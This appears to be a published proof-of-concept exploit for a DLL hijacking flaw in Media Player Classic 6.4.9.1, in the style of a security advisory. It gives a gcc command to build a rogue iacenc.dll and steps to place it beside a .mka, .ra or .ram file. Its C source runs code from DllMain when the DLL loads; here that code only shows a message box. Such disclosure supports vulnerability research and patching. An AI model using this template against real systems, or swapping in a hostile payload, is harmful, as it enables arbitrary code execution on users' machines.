Media Player Classic 6.4.9.1 – ‘iacenc.dll’ DLL Hijacking
/* Media Player Classic 6.4.9.1 (iacenc.dll) DLL Hijacking Exploit Vendor: Gabest Product Web Page: http://sourceforge.net/projects/guliverkli Affected Version: 6.4.9.1 (revision 73) Summary: Media Player Classic (MPC) is a compact media player for 32-bit Microsoft Windows. The application mimics the look and feel of the old, lightweight Windows Media Player 6.4 but integrates most options and features found in modern media players. It and its forks are standard media players in the K-Lite Codec Pack and the Combined Community Codec Pack. Desc: Media Player Classic suffers from a dll hijacking vulnerability that enables the attacker to execute arbitrary code on a local level. The vulnerable extensions are .mka, .ra and .ram thru iacenc.dll library. ---- gcc -shared -o iacenc.dll mplayerc.c Compile and rename to iacenc.dll, create a file test.mka or any of the above vulnerable extensions and put both files in same dir and execute. ---- Tested on Microsoft Windows XP Professional SP3 (EN) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk 25.08.2010 */ #include <windows.h> BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: dll_mll(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int dll_mll() { MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK); } |